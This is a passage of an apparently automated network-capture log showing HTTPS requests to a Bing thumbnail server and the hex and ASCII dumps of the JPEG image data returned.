a5 ee 6d d6 7b 66 f3 e2 6c ed 92 Data Ascii: )k.,hU:t!a[/vY;56ZOG.~D+2cc_NdNk-(E?M7>0S+^;Dy%7],/J@Y>rq [Y'Cknz -k+/X)pks^4es]r(MY6m{fl
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 9e 35 0d d3 63 13 d0 12 3d ab 37 51 de e9 68 52 8a 2a 78 74 5f db d8 f9 7e 43 79 ab b5 e4 9e 59 e5 91 77 fb e0 92 bf 4a 93 c3 da ad c7 fc 26 9a 84 af 04 71 2c 9e 58 fd de fd 92 15 18 c9 27 9c 55 bd 36 ca f2 0b 79 12 cf c4 b0 47 6c d2 12 90 2c 01 93 61 fe 1c f5 3f 5a 92 dd 9e 2b c9 5d 22 55 8e 48 c0 dc aa 15 77 f6 39 c7 35 15 24 9a 04 b5 2e dd 6a 37 51 43 18 46 b4 cc ac 3c cf f4 b2 81 47 4f 5c d6 07 8e a3 9e f7 52 82 3b 8b 36 9e da 36 3f bb 96 7f 97 7e 38 21 89 ab 9e 2a bf 48 ae 2c e3 8e ce 79 e4 5f 9e 59 5a d3 cc 8f a7 03 8f f0 aa b6 f7 1a 9e bc d3 dc db aa fd 92 c6 2c 4a b2 46 52 65 cf fb 3c e5 6b 2b bb 32 92 2e c3 7e 9e 19 d0 ed 63 d3 34 af b6 34 4e 5e 48 b7 6d da 08 19 da c3 3b f9 fa 55 c9 b5 43 fd 93 2d e8 b6 68 da 49 01 58 e5 5f 95 73 e9 54 ac 75 3d Data Ascii: 5c=7QhRxt_~CyYwJ&q,X'U6yGl,a?Z+]"UHw95$.j7QCF<GO\R;66?~8!H,y_YZ,JFRe<k+2.~c44N^Hm;UC-hIX_sTu=
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 37 2d 4f b8 b8 0b 1e 03 6e dd 58 b5 27 a1 b4 6c 8d 0b 5c a4 7c 7f 15 5a 86 54 89 b8 5d d5 cf fd a5 c4 8a 77 b6 3f bb fd ea 72 de 3a af ee f7 29 6f f6 ab 39 51 72 34 8d 74 8d 99 af 64 12 30 0b b7 b5 56 f3 8a 2f bd 66 b5 d3 b7 f1 52 7d a8 8e 5f ad 35 46 c2 75 db ea 5b be 9b 74 6c 37 6d 2a c2 a2 4b 9d ac d8 6f 33 fe 05 59 d2 39 69 18 9e ad 43 16 f9 4e d6 f5 ad 95 25 6b 18 fb 56 dd cb d7 17 53 85 c2 45 b7 6f f1 55 19 a7 b8 dc d8 5e 5b fb b5 3f 9b 27 42 bc 35 22 81 ba 9c 52 5d 01 b7 2e a5 09 3c fd b9 78 99 bf da aa f7 0c 47 f0 d6 ce f0 38 35 15 c2 86 e7 fb b5 a4 6a 5b a1 9c a9 df a9 88 d3 39 eb 49 b8 1e 95 a5 22 20 a8 b0 8d 26 11 79 6e 2b 55 35 d8 c1 d3 7d cc ed c4 53 5d fe ed 6d dc 41 16 dd 9b 79 55 aa d3 5b c0 17 3b 69 aa a9 f4 07 46 4b a9 8f 33 0d d5 16 ec Data Ascii: 7-OnX'l\\|ZT]w?r:)o9Qr4td0V/fR}_5Fu[tl7m*Ko3Y9iCN%kVSEoU^[?'B5"R].<xG85j[9I" &yn+U5}S]mAyU[;iFK3
2024-11-26 15:31:15 UTC	16067	IN	Data Raw: 71 e6 65 8f 4c 1c 74 e7 15 9b e2 cf 10 59 ea fe 07 b9 b3 b5 b1 b4 b5 b3 47 de b2 4a a5 c3 15 18 1b 14 7f 17 20 63 a2 d7 98 69 5a cb c1 6f f6 3b f9 2e 5a cd 59 9d 62 89 86 dd e4 63 ab 03 c5 5e 1f 02 b1 14 ae a3 ca d3 b5 af 7b ab 7e 60 ba d8 ee 6e f5 0b 59 bc 51 1f 91 a7 c7 7d 1e dd f7 30 41 1e f5 9a 5c 10 4e df d4 e2 b6 ff 00 b1 34 db ab c7 b8 b0 b1 8f 4c fb 52 2a 6f 92 42 8d 0e 47 cf 88 c9 c7 1b 5b 83 cd 79 35 a5 d8 49 1b c8 69 10 b6 7c b7 59 f0 56 ba 8d 3f c4 56 ef 6b 23 df 5e 6a 0a fb 0c 76 d0 3d c9 78 e3 4e bd 73 bb 76 7a 57 56 23 01 56 36 e4 7f d7 a5 c2 4a c8 f4 1b cd 4f 4e f0 f5 bd 9a 46 bf ea ed a4 f2 1d 5b ee c8 53 ef 28 23 19 24 75 a8 7c 03 a8 4f 67 1f f6 d6 a7 a8 34 b1 24 ad 6d 2c b1 2e e5 8c b2 e6 37 de 3e f6 0f 18 f7 e6 bc 8b ed b7 72 5c 45 27 Data Ascii: qeLtYGJ ciZo;.ZYbc^{~`nYQ}0A\N4LR*oBG[y5Ii\|YV?Vk#^jv=xNsvzWV#V6JONF[S(#$u\|Og4$m,.7>r\E'
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 3d a9 26 fa 05 df 41 97 16 45 15 a2 33 c6 a3 f8 59 be 6f f3 f8 d5 7d 59 04 31 c7 95 56 8e 35 f9 5b 6e d6 ab 17 17 31 f9 6c 9e 7c 8d 32 fd df e0 fe 95 55 a5 47 87 2f 2b 4a dd 5a 36 61 fa 56 90 93 be a3 8c 9f 52 ab 31 33 28 12 ac 4a bf 79 97 d2 af 58 5a 5e 1b 86 26 08 e5 59 33 b5 a3 6f 9b 1e b4 9b 2d 9b 74 9f 2e 3c bc 79 72 7d df cf d6 ac c3 a9 5c 7d a3 22 25 8e 25 50 17 e6 1b b3 f9 d3 a9 51 b5 68 94 e7 7d 8d 1d 3e d1 d6 dd a0 96 79 32 d9 0b f3 7c cb f5 ec 6b 72 fa 19 23 b5 5f b1 fe ef f7 40 79 9f dd 19 e4 73 5c ec 3a d9 69 b0 55 57 cb 6f 95 62 5d cc d9 f4 cf 7a d1 b0 d5 0a 42 db ee 7e 46 6c f9 72 af cb cf a8 eb 5e 75 6f 6b b8 e3 36 5a b3 49 84 cc 9e 6c 92 fe ec 8d b1 e1 95 b3 d0 6e cd 52 7d 3e e0 5e 34 9b 62 99 d7 fd 5b 79 9f 32 83 d4 1e 2a e5 f6 ad 61 f6 Data Ascii: =&AE3Yo}Y1V5[n1l\|2UG/+JZ6aVR13(JyXZ^&Y3o-t.<yr}\}"%%PQh}>y2\|kr#_@ys\:iUWob]zB~Flr^uok6ZIlnR}>^4b[y2*a
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: e2 bd 19 fc 7b 9c ca de ce d6 2d e8 96 d1 47 6a b1 46 ea a7 a3 37 3f 89 ad 2b 87 9e 38 56 5b 09 56 29 a3 fb aa ac 77 2e 0f 04 7b d6 66 82 c5 63 8c 26 d6 e8 ad b6 b6 6d cc 5b 58 f9 5e 60 fe 15 6a e2 aa ae 76 53 b5 ac 7d 3f f0 66 1f 12 4b e1 16 93 c5 d7 9e 7d c4 aa 1e 05 69 0b b6 c6 19 1b ba 60 d6 af c2 df 12 cb e2 4b ed 6a dc 78 79 ac d7 49 7c 5c bb 29 64 90 9e 06 3b f3 d7 e9 5b 1f 0c e4 bb ba f8 5f a5 4a 62 9e 51 2d 8c 5b 9a 45 4f 31 78 c1 ce df f3 8a db d1 f4 eb 8b cb 79 d2 05 f2 96 e7 3b 9b cb 11 bf 1f de 6e b5 f3 31 52 ba 51 3d 09 24 9b be c8 ca b1 d2 a4 92 c6 7b 99 16 38 2e 95 8f 94 be 46 e6 c7 af 3f c8 d5 3b 1b 3d 1f 4a b8 b9 d9 7d 05 f6 e5 05 95 ad 8c 6a a4 f6 eb fa d6 d6 a5 a5 7d 9e 4f 35 1b f7 ea b9 da dc a3 00 3a d6 1b d8 45 73 75 15 ca 2c ea 20 Data Ascii: {-GjF7?+8V[V)w.{fc&m[X^`jvS}?fK}i`KjxyI\|\)d;[_JbQ-[EO1xy;n1RQ=${8.F?;=J}j}O5:Esu,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49725	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:14 UTC	346	OUT	GET /th?id=OADD2.10239400770769_18M00FGPRIQDFGALM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 15:31:15 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 816461 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 91A17F4083EC402BB00BF61F8BEDBAA8 Ref B: EWR30EDGE1108 Ref C: 2024-11-26T15:31:14Z Date: Tue, 26 Nov 2024 15:31:14 GMT Connection: close
2024-11-26 15:31:15 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: JFIFXICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 41 1e b9 3c d2 b9 5c 96 23 45 f9 b9 14 ed a3 a8 14 f5 18 14 bb 4f 6f c2 95 cd 23 15 61 98 c7 e5 40 04 e0 9a 7e ce bf 4a 55 5e 38 1f 98 a5 71 f2 36 c6 71 43 02 78 07 9e d4 bb 4e ee 94 ed bd bf 3f 7a 07 cb 74 33 69 04 e4 63 b6 29 dc 1a 71 41 9c 9e b9 a0 26 57 39 a5 71 a8 34 34 f5 cf 4a 69 52 79 a9 b6 64 f1 cd 38 a6 1b 81 4b 9a c3 95 3b 90 2f d3 f1 a5 5c 0e 05 49 b4 f3 81 9e 3a 52 b2 0d b8 03 b7 ad 3e 64 25 06 46 3e ee 08 a5 51 96 ec 69 ea 9c 01 9a 72 ae 3a 77 a9 72 2d 41 e9 72 2d 87 de 94 0f 4e f5 31 51 9c fe b4 9b 79 a5 cc 3f 67 61 8b 8e 87 f3 a4 0b f3 0c 7e 95 26 da 5c 52 b9 5c a3 71 ed 49 b7 be 7a d4 8a 3d 39 a5 0b cf 4a 5c c5 72 dc 88 8f 5a 55 1e dd f8 a9 02 53 f6 fa 9a 39 87 18 10 ed cd 2e 39 e0 d4 80 7c dd 3b 73 4b 8c 76 c5 4f 31 4a 1a 11 85 cf 1d 69 Data Ascii: A<\#EOo#a@~JU^8q6qCxN?zt3ic)qA&W9q44JiRyd8K;/\I:R>d%F>Qir:wr-Ar-N1Qy?ga~&\R\qIz=9J\rZUS9.9\|;sKvO1Ji
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: c3 68 20 e0 a9 27 15 9b 25 bd e4 37 b7 6d 71 15 ba 5a 95 44 4d d1 06 53 91 94 90 9f bc 17 76 46 71 dc 57 e7 3c f4 e5 3d 65 b6 ce fb fc bb 9f 5f c8 a7 bb ff 00 80 50 b5 d7 2d 60 d6 6c 75 2b c9 dc dc a5 cc 33 b4 36 71 88 da 4d 8c bd 5d 00 60 e5 54 8c 8e fd 73 57 7c 75 e2 ad 53 c5 da 5c 7a 12 49 a7 dc 78 77 4c d5 2f 75 1d 3e c9 67 95 db 37 12 17 12 5c b9 f9 da e1 01 28 b2 1f e1 24 53 ee ae c5 85 95 d5 bd ee 8f 04 d6 b7 44 4f f6 90 15 e7 92 48 c7 41 1b 63 23 18 e4 10 47 06 b3 9a 58 2f fc 34 6f fc 39 3c 5f 67 9f 0b aa 43 3b 94 16 fb 47 ca 1b 04 39 0e 48 1b 87 03 1e b5 ad 1c 43 a7 1b c1 34 9b b5 ee 9c 75 f4 5a 76 49 bd fc da 39 e7 87 82 9a 95 f5 fb bf ad cc 7b 1b 38 9a d5 96 59 22 b3 b6 97 0e b1 14 32 3b 3a 9f 95 d5 53 a9 1f df 1c 8a f6 bf 80 7a e7 c3 9f 0a 78 Data Ascii: h '%7mqZDMSvFqW<=e_P-`lu+36qM]`TsW\|uS\zIxwL/u>g7\($SDOHAc#GX/4o9<_gC;G9HC4uZvI9{8Y"2;:Szx
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 39 ae 9c 4d 85 66 23 3f 2e de a7 8f 4a 6b 32 15 0c 0a ae d0 31 c7 4f c2 88 de 30 cc 53 e6 4c f5 db d7 fc 39 a1 5c 56 8f 61 cb 78 57 82 ad d7 0d 83 c0 fc 29 df 68 62 bc 44 47 3c 10 df cb d6 9a df 33 6c 21 b7 0e a3 1b 4f e7 43 21 51 cb 81 fe d6 7f 9d 1a 93 ee 76 24 13 2c 8b bb ca 6e 0f f7 a9 37 95 66 fb bc fa b7 1d 29 b8 e7 25 c6 de e3 3c 7b 51 b6 36 e8 38 ed ce 7f fd 54 c2 d1 5d 05 59 4f 94 bb 22 fb c7 20 87 e8 3d c7 6a 77 9a 57 04 47 df 9f 98 11 f8 8e d4 2a 61 76 aa aa f7 20 e7 03 e9 4d e9 1a 91 27 2b c6 47 7a 48 2d 16 48 6e 3f 84 c4 bf 5c fe 94 ab 2a 3f 18 c9 e9 c7 6a 62 ab 33 2b 23 be 32 47 4e 94 32 ed 7c 16 65 39 ce 0f 4f c0 d5 5c 9e 58 93 2c 91 0e ec 78 e7 e5 3f e4 d2 ac 8b bf 3f 31 f7 1c 66 ab 04 01 4a ac ed 95 63 fb b7 6f 7e f4 c6 99 b6 95 3c b6 ec Data Ascii: 9Mf#?.Jk21O0SL9\VaxW)hbDG<3l!OC!Qv$,n7f)%<{Q68T]YO" =jwWGav M'+GzH-Hn?\?jb3+#2GN2\|e9O\X,x??1fJco~<
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: a3 a8 fb 3b 21 c7 af 3d 47 d2 99 27 94 23 53 0c 8b 2a 8e f8 e3 f0 a3 41 72 eb 6f d3 fe 01 2f 93 0c d1 fc e2 39 32 38 1c 6e 1f 51 42 db a2 db a9 8c 2b a1 eb b5 b8 63 d8 7b 54 7f e9 2a dc 22 ed 7c 65 9d c2 94 e3 af ad 47 b0 99 8b 1f b3 98 f9 dc e6 52 14 52 63 d6 d6 be 83 e1 80 99 01 65 8e 3d bd 42 b6 07 b8 e2 a7 58 8c 4d b1 64 66 dc 73 86 60 57 f4 e9 55 72 e7 fd 59 f9 47 42 40 2a d9 f4 34 fb 76 68 72 78 77 3d 07 4d be e7 d6 85 64 12 4d df 5f 91 6e 1b 8b 8d ad 14 d2 c3 8e 8a 0a 29 2b f4 3d aa 36 54 32 36 31 bb f8 57 68 e3 f1 14 d8 60 8a e1 7c bb 86 b8 48 c9 04 98 48 0c 7f 3e d5 4e e2 de 42 ed 22 cf 35 b6 d3 80 af b5 b7 8f 56 c5 27 7e c5 28 a6 b7 b2 2f c3 2e cd c2 3f 3a 46 51 8c 02 36 29 ee 4f a5 46 db e5 84 b2 c0 ca 91 80 c5 fc dc 02 73 e9 50 f9 e4 33 12 9e Data Ascii: ;!=G'#SAro/928nQB+c{T"\|eGRRce=BXMdfs`WUrYGB@*4vhrxw=MdM_n)+=6T261Wh`\|HH>NB"5V'~(/.?:FQ6)OFsP3
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 73 fe f1 e6 a1 59 ed 60 ff 00 47 58 23 93 b1 8f 71 20 9f 5c 11 f5 a6 2b 17 82 55 68 96 45 20 2f cc 38 cf 5c 63 b7 e1 4d 26 d9 d1 63 9e c2 55 23 f8 92 6d e0 8f a1 fe 74 db b6 c4 28 df e2 d7 fa f5 1d fd 9b 04 bf 75 3c b4 ce 5f c9 b7 11 a8 fa f7 15 71 ac 6e a1 89 64 b6 59 da 02 39 f2 d5 76 37 a6 0e 32 0f bd 52 26 c5 a4 f2 d6 1b b3 95 0d bd 97 8c fa 6e f5 a7 f9 71 24 83 e4 56 07 1b a1 de 76 8f c3 3d 69 a8 ae 81 2e 77 64 df de bf e0 92 c9 f6 c6 b7 68 a7 86 e7 70 38 62 cb bc 47 f8 81 c7 6e b5 04 30 79 cb e7 dc 5c 34 ce 38 67 32 3f 27 d3 da 89 a1 80 ab 05 92 ea 30 4e 76 a4 e4 27 b6 47 73 48 6f 2e 1d 52 00 5e 38 e3 1f 31 33 9f 31 7f 10 06 7f 1f 5a 4e f7 d4 22 9d bd df f2 16 ee 18 0a e2 4b 8b a4 6f bc ca 27 f9 4a fe 78 cd 4b 6e 92 cb 3a 9b 5b 95 66 5f ef 11 df d7 Data Ascii: sY`GX#q \+UhE /8\cM&cU#mt(u<_qndY9v72R&nq$Vv=i.wdhp8bGn0y\48g2?'0Nv'GsHo.R^8131ZN"Ko'JxKn:[f_
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: a8 c2 fe 53 c9 71 34 88 32 ea c1 49 19 e3 05 7a 91 4e 8f 50 b3 be 99 92 39 a4 b1 9a 3e bb 03 06 4f cc 73 8e 78 c5 24 3e 59 de 44 2f 22 6d dc f2 c6 03 63 d3 3d 0e 3f fa d5 23 4e 9e 58 68 26 ba 95 a4 ea 91 c8 49 20 f7 01 87 3f 9d 09 b5 d4 99 28 b7 f0 eb e5 a7 df b9 66 78 6c ee e3 d9 71 20 92 36 c6 1f 2c ac 79 f5 5e 3f 0a 65 9d 9d 82 66 68 ae d8 c5 93 e6 17 90 ed dc 3a e4 9e 7f 2a ab 75 34 87 71 59 e7 56 c8 1b a6 84 84 71 9e 41 db d2 9d 70 ea f1 b4 85 a1 8d 49 20 6c 53 f7 49 eb 90 3a fb f5 ab bc 77 b1 9f 24 ed 6e 67 61 d7 16 56 c8 ad 22 dc da f9 29 d7 6e 64 3e bd 87 34 91 d9 69 4d 32 b2 c9 30 92 3c 62 65 50 41 3d b1 d3 e9 4d 59 ae a3 7f f4 1b ab 23 b3 e5 3e 6e 58 11 db 95 e7 3f 85 10 5c 5f 16 32 bc 31 34 8d c2 91 2e 11 fd 40 04 71 db 9a 5e eb 7b 17 fb cb 7c Data Ascii: Sq42IzNP9>Osx$>YD/"mc=?#NXh&I ?(fxlq 6,y^?efh:*u4qYVqApI lSI:w$ngaV")nd>4iM20<bePA=MY#>nX?\_214.@q^{\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49727	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:14 UTC	346	OUT	GET /th?id=OADD2.10239370639606_1UY6VCV79VNDR5KH5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 15:31:15 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 612524 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 682BB61EEDBB4C64BD19C79B81D4D203 Ref B: EWR30EDGE0308 Ref C: 2024-11-26T15:31:14Z Date: Tue, 26 Nov 2024 15:31:14 GMT Connection: close
2024-11-26 15:31:15 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 19 c4 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 31 39 3a 33 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:19:368
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: f4 d9 2d b4 98 20 9d 76 b4 6b 86 ad b8 2c 53 6e 7f bd 56 12 dc 06 af 3b 11 8f 95 64 93 d1 1e ae 17 03 4f 0f 77 1d d9 02 5a 8d bc 52 49 69 9f ad 5d 58 f1 fc 34 e6 84 fd fe f5 c1 ed 19 d7 ca 65 3d a6 3f 86 ab 5c e9 b0 49 f7 e0 dd b7 fb cb 5b fe 58 3c f7 a8 e4 8f 0b cd 54 6a be 84 ba 69 1c dd ce 95 6c df 7e d9 7e 5f f6 6a bd f6 85 67 3d bb 66 25 c3 2d 74 37 0a 87 a7 cd 54 ee 3e 45 f6 ae 98 56 9d d6 a6 33 8a 69 a6 b4 3c 8f 5c b0 7d 3b 52 92 d8 fd d5 fb bf 4a aa 17 1c d7 41 e3 44 9e 6d 51 9c 44 db 63 e3 75 61 e0 86 c1 f9 4f fb 55 f4 54 aa 73 41 37 b9 f2 75 a9 28 d4 69 2d 08 b6 9a 5d b5 6b 4f b5 7b bb a5 89 3a b5 74 96 be 13 cb 29 66 dc 29 54 af 0a 7f 13 34 a3 83 ab 55 5e 2b 43 90 db fe c5 39 41 3c 05 dd 5e 86 9e 1c b3 5b 7d 9e 52 e7 fb d4 26 85 6f 13 71 12 fc Data Ascii: - vk,SnV;dOwZRIi]X4e=?\I[X<Tjil~~_jg=f%-t7T>EV3i<\};RJADmQDcuaOUTsA7u(i-]kO{:t)f)T4U^+C9A<^[}R&oq
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 7b 35 47 72 e2 a2 77 34 c7 6d d1 e4 d3 b0 9b 23 99 ce ee 6a 1d f8 a4 b8 6e f5 59 e5 ad 63 13 26 ec 4f 23 e5 6a ac 8f de 9e 92 67 8a 6c cb 9a b4 91 2c a5 32 fd e3 55 e4 1f 35 5e ba c2 ae 2a 9c c3 1d 2b 58 ea 67 22 07 27 6f 15 0b 65 9b 9e 95 2b 0c d3 15 71 5a 23 36 3a 1e 7e b5 2a 81 d3 bd 47 c2 d2 ab f7 0d ba 90 d6 85 88 db 1c 54 88 d8 aa 68 fb 79 a9 16 40 29 34 52 68 b5 95 ab 10 c8 3c b6 15 9e b2 76 ed 53 a4 9e bd 6a 1a 1d d1 75 65 c7 f1 d3 92 53 54 7c df 7a 96 39 81 e7 75 4d 98 d4 8b 6b 21 ed 4e 67 90 2e 6a bc 72 62 4a b4 ac ae b8 35 0f 43 44 d3 22 de 4f de a5 5d df 36 29 2e 19 23 e9 50 b5 c8 14 12 dd 89 d1 87 f1 7f 15 39 08 eb ba a8 34 c6 9d 1c c4 7d 69 f2 b0 e6 2d 39 1b aa 09 9b b5 47 35 c0 35 0b 5c 67 a7 f0 d5 46 2c 57 40 e7 14 8b 29 dd 4c df 96 cf 7a Data Ascii: {5Grw4m#jnYc&O#jgl,2U5^+Xg"'oe+qZ#6:~GThy@)4Rh<vSjueST\|z9uMk!Ng.jrbJ5CD"O]6).#P94}i-9G55\gF,W@)Lz
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: b6 91 a1 25 e6 7a 54 6f 73 bb ad 50 f9 a9 39 fb b5 6a 9a 25 d4 93 2c bc c4 36 29 16 e0 af 23 ad 56 62 7a 53 76 92 d5 5c a8 5c cc b5 24 e5 a9 9e 79 dd ef 50 b2 b9 a4 db 21 a3 95 0a ec 95 a5 27 a5 27 99 51 6c 71 cf cd 48 ca 68 b0 b5 24 69 7e 6c 9a 6b 3d 33 63 fe 34 be 4b 95 a6 20 69 3f bd 48 d2 0d b9 ff 00 d0 68 f2 1e 9b f6 79 3b 6e a6 2d 43 cc c5 2f 9d 85 a6 79 12 0e 4a d1 e5 3e de 68 d0 35 1f e7 93 47 9c 6a 3f 2c ee a7 79 47 77 34 83 51 7c d6 a1 a6 cf 06 8f 2a 8f 2b 3d 16 98 6a 1b fb 52 ac 94 e4 84 9f ef 54 a9 6e 4e df 96 90 6a 41 e6 7a d2 b3 9f f7 6a e2 5a 65 b8 a4 6b 27 db 90 94 5d 0f 95 95 77 d2 ef cf 15 37 d8 a4 fe ef 14 9f 65 71 c6 da 2e 85 66 45 ba 9e 8c 7a 54 89 6a fd 2a c4 36 44 b5 26 35 16 c8 13 9e bd 2a 68 c9 1d 2a da 59 a6 d5 15 3a 69 cd e5 e4 Data Ascii: %zTosP9j%,6)#VbzSv\\$yP!''QlqHh$i~lk=3c4K i?Hhy;n-C/yJ>h5Gj?,yGw4Q\|+=jRTnNjAzjZek']w7eq.fEzTj6D&5hY:i
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 51 87 7a 29 56 29 3b ad 15 57 43 57 3c ee 3d 3c af c8 56 a6 4d 3d fb 7c d5 bc f1 80 cc 45 48 91 21 ae e7 58 e2 58 7b b3 9e 6b 27 f9 bf 74 d4 cb 8b 02 b6 ec fb 76 9a eb ed ed 23 f2 f2 7a 53 5e d6 17 99 45 47 d6 0b fa ab ee 70 72 24 89 c7 cc b4 c6 63 de bd 1a 1d 22 d2 49 18 95 56 f9 6a a5 e7 87 ed 9e 65 8d 22 55 1d 69 ac 54 2f 6b 12 f0 73 4b 46 70 de 6f cb 4f 47 3f dd ae fd fc 21 64 63 52 3a d4 2b e1 7b 68 be e3 35 0b 17 4d 8d e0 ea a3 8b 57 7f ee b5 2f 98 e1 79 ae ae 6d 2c 45 e6 79 7f 36 da 5d 2f 4d 12 49 be 45 da b5 5e da 36 b9 1f 57 9d ec 72 5e 6b 1e 36 d1 e6 1d d8 d9 5d 9e a1 a5 5b 15 ca 46 b5 5a 3d 3a d9 5b 7f 95 ca d1 1a d1 6a f6 14 a8 ce 2c e5 37 12 df 77 8a 55 86 47 5e 15 ab b0 fb 14 01 bf d5 2b 53 d6 de 21 c0 55 a7 ed 51 9f 2b 38 f6 d3 ae 4f fc b3 Data Ascii: Qz)V);WCW<=<VM=\|EH!XX{k'tv#zS^EGpr$c"IVje"UiT/ksKFpoOG?!dcR:+{h5MW/ym,Ey6]/MIE^6Wr^k6][FZ=:[j,7wUG^+S!UQ+8O
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 0e 46 6b e6 ff 00 2a e1 57 fd 6c ab ff 00 02 34 f5 9f 53 f9 71 a8 5d ff 00 b3 fb f7 ff 00 1a 39 96 f7 d0 4d be c7 b7 dc 69 9a 8b ea 56 d1 c5 6d bb cb bb 94 fc ac 3e 51 d8 fe 55 d5 7c 39 d2 b5 1b 7f 18 69 97 72 ae db 7b 39 26 49 19 98 2e dd e0 e3 f0 af 9e f4 4d 46 5b 38 64 92 ef 53 d4 a3 92 46 1b 55 59 f6 ff 00 df 59 aa 97 1a d6 bb 23 6c fe d7 be 68 f7 65 57 cc 2d f4 ab e7 84 af 7b 85 de 88 fa fb c1 3a 6e a1 7b e3 2d 42 e2 58 bc bb 69 22 57 89 9b fe 5a 05 73 9c 7a d7 2f 6b a3 eb ab ad 5b 4e 90 49 24 70 5d cb 37 ca a5 b6 83 21 c6 6b c1 7c 31 e2 6b cb 4b a8 9f 57 f1 0e ad 04 6b 21 f3 23 b4 62 8f b3 1d bb 1e 69 66 f8 97 e3 99 21 6b 78 